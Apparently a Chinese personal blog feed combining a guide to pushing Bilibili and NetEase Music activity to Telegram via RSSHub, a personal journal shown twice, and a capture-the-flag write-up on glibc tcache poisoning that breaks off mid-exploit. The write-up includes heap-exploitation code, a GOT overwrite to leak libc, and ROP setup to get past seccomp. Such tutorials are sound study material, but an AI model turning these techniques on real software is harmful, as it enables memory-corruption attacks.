
部署方式其实和n8n部署很相似的，只需要创建新项目，并且选择RSS Hub的Github仓库部署即可

部署结果如图（域名打马赛克是不让你白嫖我的服务 🐶：

B站 To Telegram

部署成功之后，即可根据RSS Hub的文档，获得自己投币的视频（注意需要公开）

比如我的投币视频链接：

https://rsshub.app/bilibili/user/coin/261764405

这样就可以实现B站的投币视频的推送啦（点赞和收藏视频还是要隐藏的，毕竟有很多小姐姐😅

网易云 To Telegram

网易云则有一点点复杂，因为需要你的登录态cookie

获得cookie的流程可以参考：https://github.com/acloudtwei/NewMusic163%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8A%93cookie

简单介绍下：

获得歌单链接：

浏览器打开登录，开发者工具找到这个值 MUSIC_U 即可

在serverless平台，配置好对应的环境变量 NCM_COOKIES

此时就配置完成了，当你喜欢一首歌的时候，会自动推送到Telegram

附：telegram相关配置创建telegram频道

点击New Channel, 有手即可：

创建 telegram机器人并添加到频道管理员

本质上是通过机器人来推送信息的，因此我们需要创建属于自己的机器人

方法也很简单，搜索BotFather，start开始，取名就行了

创建完会获得一个机器人的Token，这个要保存好。（虽然忘记了也可以通过BotFather找回）

创建完成之后，添加到频道管理员即可（可以把删除消息的权限关了，太懒了不截图了）

chatid获取

这一步是真的稍稍有点复杂，我研究了半天。

首先从这里进入频道管理 <p align="center"> <img width="600" height="300" src="./attachments/bafkreifl2qwju64bjcj5xu7zjh23hioannfsrjc7m4tjl6cacer56vt764.png"> </p>
点击右上角的Edit编辑，首先公开频道（后面可以隐藏）

这个时候就已经你的频道就已经有一个独一无二的名字了，直接用这个作为Telegram的节点做推送也可以但如果你不想公开的话，继续往下看

通过API触发一条消息

将Token、channel name替换成你的，发送一条消息

https://api.telegram.org/bot{Token}/sendMessage?chat_id=@{channelname}&text=test

此时获得相应内容，chatid 就获得了，最后再把channel给隐藏起来，就完成了

{
    "ok":true,
    "result":{
        "message_id":591,
        "sender_chat":{
            "id":xxxxxxx,
            "title":"Raye's Journey",
            "username":"RayeJourney",
            "type":"channel"
        },
        "chat":{
            "id":xxxxxxxxx,
            "title":"Raye's Journey",
            "username":"RayeJourney",
            "type":"channel"
        },
        "date":1689602624,
        "text":"test"
    }
}

参考

主要是Refer了Reorx大佬的两篇文章 https://reorx.com/blog/sharing-my-footprints-automation/ https://reorx.com/blog/0-cost-self-hosted-n8n-with-railway-and-supabase/

周报7 我们都需要快照

Sun, 16 Jul 2023 00:00:00 GMT

周报7 我们都需要快照

这里记录的是raye在2023年，6.16~7.16日这段时间的记录、思考、故事

最近回忆自己的周报，发现很多文字、很多想法、随着时间的积累逐渐发生了变化

就像网页需要快照一样，我一直很喜欢快照这个词，在我第一次接触到这个略带生涩的术语时，我还未能参透其中的内涵

但我们真的很需要快照，需要在生活这根数轴上，录制下我们的一个个快照。照片或许是最好的一种方式，但它太具象，缺少可以把玩、品味、参悟的空间。文字，无疑是快照记录与呈现的最好方式。它足够清晰又带一点朦胧，它充满情绪却又无足轻重，它虽单一，却千变万化。以文会友，不如说是以快照会友。

写到这里，突然心中有一点触动，泪水就想夺眶而出了。我在言语上不是一个善于表达感情的人，但文字中蕴含的希冀、念想、情感，总给我一种无穷的力量，驱使着我，不断向前。

知音少，弦断有谁听

反思

现在是7月15日的晚上10点半，在我回顾完历史发表在xlog上的周报后，我终于开始提笔写6月下旬到7月上旬这段时间的周报了

期间真的经历了很多，我有点感觉是我工作两年多来，遇到的最艰难的一次

具体详情不便透露，但让我深刻体会到了几个关键字：pua、甩锅、信息差、老板

但凡遇到问题，部门之间一定是互相甩锅的。但重点这次不是实际的bug，而是涉及到老板、流程规范的一些问题。

但我觉得最气愤的就是，上级不去直接怼回去，反倒是利用信息差，pua底层员工（pua我都能接受了，但是你好歹怼回去啊）

而且，最让我感到痛苦的是，明明数据就那么多，我想破了脑袋，也觉得找不到更多的问题。

却偏偏要用一些pua的话术，诸如，“啊，我记得不是这样的啦”， “怎么可能数据就这么点，XXX数据不是有好几百条吗”（实际自己也不知道）

若是初入社会的我，或许还会觉得，是我思考的不到位，但是我真的很想反抗，我不想把一个很简单的事情，翻来覆去论证好几遍

而且pua的话术永远是万能的:

当然，我承认，安全的工作永远是最难做的，尤其是在大公司。安全往往是最容易背锅的，这段时间我也见识到了业务的各种骚操作，我以前觉得自己写逻辑实现的很不优雅，结果，干了好多年的老员工，设计思路也不见得好到哪里去。

同事给了我一个词：草台班子

关于我

好在还有xlog这样一个博客，可以让我持续不断地去发现新东西，认识新的朋友。

其实我并不是一个很挑的人，我工作的内驱力，来源永远是自身的好奇心。而且我的好奇心是不会区分对待的，只要是我没有理解的事物，我一定是有好奇心，并且抱着莫大的热忱去做的。

但是呢，首先承认我有时候会存在眼高手低的情况，觉得自己懂得很快就没有沉入下去，这是我这段时间反思的一个结果。

铺的太广，导致自己无法聚焦。看的太泛，导致自己无法深入。想得太多，导致自己无法行动。

但是，最近的工作让我无语。我不喜欢在给老板的汇报上去扣各种字眼。用我1~2周的时间，来不断浓缩出一份不到5分钟的ppt展示页。

但这就是社会食物链，营养的转换效率就是这么低

另外还有一个问题，我觉得存在很大的惯性，无法及时从一个事情中抽身，或者说当我工作了很久之后，不愿意去转换一下思路。

其实我觉得这是一个很有必要练习的事情，不是说长时间的专注不行，而是说，人是需要依靠一些身体上的运动，来刺激因为专注而疲惫的大脑。

因为我毕竟不是天才人物，我无法在长时间的专注中，一直保持有新的想法。

也许，就是当众人都开始疯狂地寻找富豪遗失的手表时，往往是最后静下心来，无意中发现的那个小孩，只是因为听到了手表的指针滴答声

xbox&surge

Surge的授权我很早就买了，但是很长一段时间，我都将其闲置在一旁，并没有深入去研究，只是当一个抓包工具而已（几百元买一个抓包工具我还真富）

最近重新开始研究surge，不管是iPhone还是Mac，都已经总结了一些surge的用法，这块预计会出一篇文章综合介绍一下。

搬家之后，渐渐稳定了下来，于是开始思考手头的设备怎么利用起来，虽然最近xbox的游戏打的少了，但是xbox这最强机顶盒的名头不是虚的。 (xbox支持Netflix、hbo、Apple tv、hulu的4k输出，基本覆盖了我常用的流媒体）

最开始想用surge的远程代理，让xbox代理就好了。但是微软不知道怎么想的，居然没有代理这个功能。于是开始研究下还有无其他方案。

其实也有两种，不得不感慨surge真的功能太丰富了。其一是接替路由器，作为软路由，这个被否决了，因为wifi是和室友公用的。其二是通过增强模式，新增一块虚拟网卡，充当网关。

我选择了第二种方式，同时在配置的时候发现了一个坑：surge的官方文档给的DNS配置是错误的，https://surge.mitsea.com/others/gateway-mode ，实际DNS配置应该是这个

这样我的xbox就可以借由mac的分流规则来实现科学上网了：

数字日记

Reorx 在这篇博客中提到 https://reorx.com/blog/sharing-my-footprints-automation ，他就像是一个生活在赛博空间的机器，执行者信息收集和过滤的工作。因此他想将过滤后的信息都统一起来，于是打造了一套n8n的自动化工作流，聚合信息输入和输出

虽然，但我更愿意称之为这是我的数字日记，这就是我在赛博空间的生活沉淀

目前在大佬博客的帮助下，已经完成了。频道地址：https://t.me/RayeJourney，Raye’s Journey ，意为Raye的赛博空间的行程记录。

考虑到这方面的文章还挺少的，于是自己也打算写一篇来帮助大家完成搭建。

愿我们都有自己的数字日记。

蓝信封

7月，已经是和小孩子的第5封信啦！继续坚持下去

微信读书&阅读

4月23日那段时间参加了世界读书日的活动，终于在7月收到了微信读书的世界读书日勋章，虽然我觉得不是很好看哈哈哈哈，但是沉甸甸的分量确实很喜欢！🥰

（但是拍的照片太丑啦！🤣

羽毛球

羽毛球也找了教练，目前大班也上了9节了，一对一也上了3节。

改正了一些，主要是：

步法，前场开始用垫步，并且也不会再盲目后退被抓吊网前了
反手，虽然并不稳定，但是偶尔能打出高质量斜线
接杀，正手接杀还需要练习下
发球，努力练了一箱球，终于学会在双打的时候反手发球了
吊球，训练的时候打的还好，但是实战就有点拉胯
搓球，终于学会了网前搓球，这几天和球友的实战中也打出了好几个高质量的搓球（果然是得网前者得天下）

讨厌的人

纯发牢骚，诸君随意看看：

有时候真的很讨厌那些喜欢一上来就给别人扣帽子的人

我喜欢交朋友，并且欣赏别人的优点

但是我很难忍受一种人，我觉得可能是基因的天性，最喜欢对别人指指点点，凡事都以自己的是非为是非

因此，我很多时候都不会有深交的朋友，因为价值观不对，而且我不喜欢小圈子，人会被圈子所束缚

所以我经常是从一个圈子，跳到另一个圈子

毕竟朋友难得，但是相同兴趣的搭子还是容易找

追剧

Platonic 完结了，这部剧我真的好喜欢，其中埋的几个伏笔，最后结尾也都映照了

最后一集Sylvia和Will还是得分开了，面对着Will在路边买来的送给她的塑料花，Sylvia说道：“这花很假，很塑料。但这意味着它永远不会凋谢。”。类目了😭

由于Apple tv我不知道怎么截图，豆瓣上有一些好玩的图：

其实挚友之间，也是一种柏拉图的关系呢！

The Crown和Card of House 也还在追，慢慢看吧，都是很经典的了。其中既有伊丽莎白女王的苦楚，也有弗兰德为打击政治对手无所不用其极的手段。

The last of us 虽然上映很久了，但是最近才开始慢慢看。男主有够帅+魅力，随行的小女主真的很可爱，真的很爱这部剧

Newsletter

以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney

不过也会摘录一些放在博客里：

https://cali.so/blog/guide-for-cloning-my-site 介绍了快速搭建博客，不过我觉得xlog已经很值得了，重点还是持续不断地内容输出
https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw 讲述如何破解滑动验证码
https://zhuanlan.zhihu.com/p/629476969 金山文档都支持云函数部署了，涨姿势
https://www.jianshu.com/p/5685b4a1b77e 安卓网页打开app，本质还是拉起activity

周报7 我们都需要快照

Sun, 16 Jul 2023 00:00:00 GMT

周报#7 我们都需要快照

这里记录的是raye在2023年，6.16~7.16日这段时间的记录、思考、故事

最近回忆自己的周报，发现很多文字、很多想法、随着时间的积累逐渐发生了变化

就像网页需要快照一样，我一直很喜欢快照这个词，在我第一次接触到这个略带生涩的术语时，我还未能参透其中的内涵

知音少，弦断有谁听

反思

现在是7月15日的晚上10点半，在我回顾完历史发表在xlog上的周报后，我终于开始提笔写6月下旬到7月上旬这段时间的周报了

期间真的经历了很多，我有点感觉是我工作两年多来，遇到的最艰难的一次

具体详情不便透露，但让我深刻体会到了几个关键字：pua、甩锅、信息差、老板

但凡遇到问题，部门之间一定是互相甩锅的。但重点这次不是实际的bug，而是涉及到老板、流程规范的一些问题。

但我觉得最气愤的就是，上级不去直接怼回去，反倒是利用信息差，pua底层员工（pua我都能接受了，但是你好歹怼回去啊）

而且，最让我感到痛苦的是，明明数据就那么多，我想破了脑袋，也觉得找不到更多的问题。

却偏偏要用一些pua的话术，诸如，“啊，我记得不是这样的啦”， “怎么可能数据就这么点，XXX数据不是有好几百条吗”（实际自己也不知道）

若是初入社会的我，或许还会觉得，是我思考的不到位，但是我真的很想反抗，我不想把一个很简单的事情，翻来覆去论证好几遍

而且pua的话术永远是万能的:

同事给了我一个词：草台班子

关于我

好在还有xlog这样一个博客，可以让我持续不断地去发现新东西，认识新的朋友。

但是呢，首先承认我有时候会存在眼高手低的情况，觉得自己懂得很快就没有沉入下去，这是我这段时间反思的一个结果。

铺的太广，导致自己无法聚焦。看的太泛，导致自己无法深入。想得太多，导致自己无法行动。

但是，最近的工作让我无语。我不喜欢在给老板的汇报上去扣各种字眼。用我1~2周的时间，来不断浓缩出一份不到5分钟的ppt展示页。

但这就是社会食物链，营养的转换效率就是这么低

另外还有一个问题，我觉得存在很大的惯性，无法及时从一个事情中抽身，或者说当我工作了很久之后，不愿意去转换一下思路。

其实我觉得这是一个很有必要练习的事情，不是说长时间的专注不行，而是说，人是需要依靠一些身体上的运动，来刺激因为专注而疲惫的大脑。

因为我毕竟不是天才人物，我无法在长时间的专注中，一直保持有新的想法。

也许，就是当众人都开始疯狂地寻找富豪遗失的手表时，往往是最后静下心来，无意中发现的那个小孩，只是因为听到了手表的指针滴答声

xbox&surge

Surge的授权我很早就买了，但是很长一段时间，我都将其闲置在一旁，并没有深入去研究，只是当一个抓包工具而已（几百元买一个抓包工具我还真富）

最近重新开始研究surge，不管是iPhone还是Mac，都已经总结了一些surge的用法，这块预计会出一篇文章综合介绍一下。

最开始想用surge的远程代理，让xbox代理就好了。但是微软不知道怎么想的，居然没有代理这个功能。于是开始研究下还有无其他方案。

这样我的xbox就可以借由mac的分流规则来实现科学上网了：

数字日记

虽然，但我更愿意称之为这是我的数字日记，这就是我在赛博空间的生活沉淀

目前在大佬博客的帮助下，已经完成了。频道地址：https://t.me/RayeJourney，Raye’s Journey ，意为Raye的赛博空间的行程记录。

考虑到这方面的文章还挺少的，于是自己也打算写一篇来帮助大家完成搭建。

愿我们都有自己的数字日记。

蓝信封

7月，已经是和小孩子的第5封信啦！继续坚持下去

微信读书&阅读

（但是拍的照片太丑啦！🤣

<!--

-->

羽毛球

羽毛球也找了教练，目前大班也上了9节了，一对一也上了3节。

改正了一些，主要是：

步法，前场开始用垫步，并且也不会再盲目后退被抓吊网前了
反手，虽然并不稳定，但是偶尔能打出高质量斜线
接杀，正手接杀还需要练习下
发球，努力练了一箱球，终于学会在双打的时候反手发球了
吊球，训练的时候打的还好，但是实战就有点拉胯
搓球，终于学会了网前搓球，这几天和球友的实战中也打出了好几个高质量的搓球（果然是得网前者得天下）

讨厌的人

纯发牢骚，诸君随意看看：

有时候真的很讨厌那些喜欢一上来就给别人扣帽子的人

我喜欢交朋友，并且欣赏别人的优点

但是我很难忍受一种人，我觉得可能是基因的天性，最喜欢对别人指指点点，凡事都以自己的是非为是非

因此，我很多时候都不会有深交的朋友，因为价值观不对，而且我不喜欢小圈子，人会被圈子所束缚

所以我经常是从一个圈子，跳到另一个圈子

毕竟朋友难得，但是相同兴趣的搭子还是容易找

追剧

Platonic 完结了，这部剧我真的好喜欢，其中埋的几个伏笔，最后结尾也都映照了

由于Apple tv我不知道怎么截图，豆瓣上有一些好玩的图：

其实挚友之间，也是一种柏拉图的关系呢！

The Crown和Card of House 也还在追，慢慢看吧，都是很经典的了。其中既有伊丽莎白女王的苦楚，也有弗兰德为打击政治对手无所不用其极的手段。

The last of us 虽然上映很久了，但是最近才开始慢慢看。男主有够帅+魅力，随行的小女主真的很可爱，真的很爱这部剧

以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney

不过也会摘录一些放在博客里：

https://cali.so/blog/guide-for-cloning-my-site 介绍了快速搭建博客，不过我觉得xlog已经很值得了，重点还是持续不断地内容输出
https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw 讲述如何破解滑动验证码
https://zhuanlan.zhihu.com/p/629476969 金山文档都支持云函数部署了，涨姿势
https://www.jianshu.com/p/5685b4a1b77e 安卓网页打开app，本质还是拉起activity

一文带你理解tcache缓存投毒

Tue, 27 Jun 2023 00:00:00 GMT

一文带你理解tcache缓存投毒

文章首发于 https://xz.aliyun.com/t/12600 tcache 结构分析

Tcache（Thread Cache）是 glibc（GNU C Library）从 2.26 版本开始引入的一个特性，旨在提升内存分配性能。在 tcache 中，每个线程都有自己的缓存，可以减少线程间的互斥和锁的竞争。

默认情况下，大小小于等于 1032（0x408）字节的 chunk 会被放入 tcache 中。

分配释放：当程序进行 malloc 操作时，会优先检查 tcache 是否有可用的 chunk，如果有，就直接返回。同样，当进行 free 操作时，如果 chunk 的大小符合要求，并且对应的 tcache bin 还未满（默认每个 bin 可以存放 7 个 chunk），就会把 chunk 放入 tcache。否则，会按照原来的流程，放入 unsorted bin 或者其他的 bin 中。

数据结构：Tcache 的数据结构主要是一个数组，每个元素都是一个单向链表的头节点。数组的下标对应了 chunk 的大小，即第 i 个元素对应了大小为 (i+1)*16 的 chunk 的链表。链表中的每个节点都是一个空闲的 chunk，节点的第一个字段存放了指向下一个节点的指针。

tcache在内存中的数据结构示意图如下：

+----+    +------+     +------+
| 0  | -> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+
| 1  | -> NULL
+----+ 
| 2  | -> | chunk| --> NULL
+----+    +------+
| .. | 
+----+
| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+     +------+

了解 tcache poisoning

我们先来看看缓存投毒的基本攻击思路，核心代码如下：

size_t stack_var; // 目标投毒的地址

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&stack_var;  // tcache poisoning ！

intptr_t *c = malloc(128);

assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权

然后我们来分过程看每一个环节的堆内存布局变化

连续申请两个 chunk，再释放，此时释放的chunk进入到tcache管理起来

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

查看此时的堆内存布局

tcache链表有点像一个栈，遵循LIFO的原则

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体

根据上文提到的内存布局，相同大小的tcache 通过链表维护起来。修改指针指向（后面会分析），使得tcache链表的指针指向栈上的地址

size_t stack_var; // addr: 0x7fffffffe508
b[0] = (intptr_t)&stack_var;

此时我们观察到 tcache_entry[7] 的指向

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )

申请一次tcache分配，此时获得是之前释放的b chunk

此时的tcache已经被

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )

第二次申请tcache 分配，本来这里是获得之前的a chunk的，但是由于 tcache 的指向已经发生了变化，导致我们可以获得一次针对栈上的地址进行读写的机会

若要细究其原理，得从glibc中对应的源码入手：

从源码层面分析 tcache

tache的数据结构如下：

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry 结构体本质上是一个单链表指针，tcache_perthread_struct 存储了所有的 tcache 入口，通过 counts 记录每个 tcache 链的个数

tcache poisoning 漏洞涉及到两个函数：

分配函数 tcache_get
- 找到对应的 tcache_entry 表项
- 取出链表的头节点返回
回收函数 tcache_put
- 将chunk强制转为 tcache_entry结构
- 头插法将其插入到对应的 tcache_entry 表项中本质上是用链表实现了一个栈结构，FIFO

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]); // 对应的tcache数量减少1
  return (void *) e;
}

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

重点是这行代码：

tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

chunk2mem 的宏是这样的，即将chunk指针往后移动指向用户数据区域

/* Convert a chunk address to a user mem pointer without correcting
   the tag.  */
define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

而关键在于，代码中直接强制转化，将其转为 tcache_entry 结构，这代表着，用户数据的前8个字节（64位）存储了 tcache 的 next 指针

这就意味着我们可以直接修改 next 指针，从而获得任意地址写的机会，因此 tcache 的利用相比 fastbin 事实上更加简单了

例题分析

题目源码和 exp 可以在这里找到 https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook main函数

main函数主要功能：

输入作者签名
调用secure_library 设置 seccomp
write_book程序主要功能

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Welcome to the library of hopes and dreams!");
  puts("\nWe heard about your journey...");
  puts("and we want you to share about your experiences!");
  puts("\nWhat would you like your author signature to be?");
  printf("> ");
  LODWORD(author_signature) = ' yb';
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
  puts("\nGreat! We would like you to write no more than 10 books :)");
  puts("Please feel at home.");
  secure_library();
  write_books();
  return puts("Goodbye!");
}

write_books

write_books 函数，功能总结为：

1337 能泄露出一次给定分配块的地址
1 新增一本书
2 编辑一本书
3 删除一本书

unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf("%d", &choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf("What is your favourite number? ");
        __isoc99_scanf("%d", &fav_num);
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts("Invalid choice.");
    }
    if ( choice > 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice > 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}

write_book

向书架中插入一本书，并且在书的尾部，写上作者签名和一个 magic number

可以看到一个书chunk的大小为输入的内容 + 0x10，并且会存储在 book 结构体中的size字段

unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to insert your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
  {
    puts("Invaid slot!");
  }
  else
  {
    --idx; // 书架的编号
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts("Write me a book no more than 32 characters long!");
    size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number
    v1[1] = v2;
    books[idx].size = size; // 这里存在问题，后续通过 books[idx].size 获取大小的时候要减掉0x10
    puts("Your book has been published!\n");
  }
  return v8 - __readfsqword(0x28u);
}

rewrite_book 漏洞点

编辑一本书，但是注意到这里能够输入的内容为 books[idx].size ,而这就意味着我们可以多输入 0x10 的内容（oob，即out-of-bounds）来实现 chunk overlap（因为上文分析道用户数据的长度事实上只有 books[idx].size - 0x10

unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to rewrite your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
  {
    --idx;
    puts("Write me the new contents of your book that is no longer than what it was before.");
    v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts("Your book has been rewritten!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v5 - __readfsqword(0x28u);
}

throw_book

删除一本书，调用 free 函数

unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to throw your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts("Your book has been thrown!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v2 - __readfsqword(0x28u);

解题思路分析

题目存在很明显的漏洞点，即利用oob可以实现overlap

利用 tcache poisoning

来计算下我们要怎么做到 tcache poisioning

首先必须要两个 tcache，参照前面的示例（需要有一个tcache来修改指针指向）
其次，我们不能直接改 chunk 指针（前面的示例是在源码呢所以可以直接改），所以还需要一个快来通过overlap来修改指针
最后，为了达到 overlap 的目的，前面还需要一个块，通过oob溢出来实现overlap

malloc chunk

连续申请4个chunk，4个chunk的目的分别为：

chunk1 泄露heap base addr + oob覆盖chunk2
chunk2 修改 chunk3的next指针，实现 tcache poisoning
chunk3 通过next指针获得一段可写的内存
chunk4 用作 0x40 tcache的填充

chunk1 oob to overlap

修改chunk1，oob修改chunk2的大小
释放chunk4，填充到0x40 tcache
chunk2的大小被修改为0x40，和 chunk3 实现overlap
修改chunk2的内容，覆盖chunk3 的next指针

泄漏libc base

books结构体的地址是固定的，地址为 0x4040e0 ，每个 book 结构体前 0x8 个字节存储这本书的 size ，另外 0x8 字节存储这本书在 chunk 地址

当我们获得任意地址写的时候，就可以针对 0x4040e0 这个堆块去写入内容，再利用 rewrite_book 来实现劫持got表泄露 libc base addr

我们写入的内容为：

    edit(1, pwn.flat([
             1==
            0xff,  sz
            exe.sym.stdout,  target
             2==
            0x8,  sz
            exe.got.free,  target
             3==
            0x8,  sz
            exe.sym.secret_msg,  target
             4==
            0xff,  sz
            exe.sym.books  target
        ] + [0] * 0x60, filler = b"\x00"))

观察内存布局：

pwndbg> x/40gx 0x4040e0
0x4040e0 <books>:       0x00000000000000ff      0x00000000004040a0
0x4040f0 <books+16>:    0x0000000000000008      0x0000000000404018
0x404100 <books+32>:    0x0000000000000008      0x00000000004040c0
0x404110 <books+48>:    0x00000000000000ff      0x00000000004040e0
0x404120 <books+64>:    0x0000000000000000      0x0000000000000000
0x404130 <books+80>:    0x0000000000000000      0x0000000000000000
0x404140 <books+96>:    0x0000000000000000      0x0000000000000000
0x404150 <books+112>:   0x0000000000000000      0x0000000000000000
0x404160 <books+128>:   0x0000000000000000      0x0000000000000000
0x404170 <books+144>:   0x0000000000000000      0x0000000000000000

此时我们就可以理解为

第一本书的内存地址为 0x4040a0（实际上这个为 stdout 的got表） size 为 0xff
第二本书的内存地址为 0x404018（实际上这个为 free 的got表） size 为 0xff
第三本书的内存地址为 0x4040c0 (实际上为 secret_msg 的地址)，size 为 0x8
第四本书的内存地址为 0x4040e0 （实际上我 sym.books 的地址，方便我们二次写入，size 为 0xff

于是可以劫持free的got表来实现打印 stdout@got 表项，再通过确定的偏移泄露出 libc base addr

     free@got => puts
    edit(2, b"".join([
            pwn.p64(exe.sym.puts)
        ]))

ROP绕过seccomp

程序有 seccomp 保护，只允许 read 、 write 、 open 和 exit

于是我们需要通过向栈上写入ROP的方式来读flag，首先计算栈帧

泄露环境变量地址来计算栈帧（注意第4本书我们之前设置了指向自身，因此可以反复编辑）

     leak stack (environ)
    edit(4, pwn.flat([
             1==
            0xff,  sz
            libc.sym.environ  target
        ], filler = b"\x00"))

栈帧地址：也就是调用这个函数返回的ret地址

获得栈帧地址后，使用 pwntools 自带的 rop 模块来实现

rop = pwn.ROP(libc, base=stackframe_rewrite)

 setup the write to the rewrite stackframe
edit(4, pwn.flat([
         1==
        0xff,  sz
        stackframe_rewrite  target
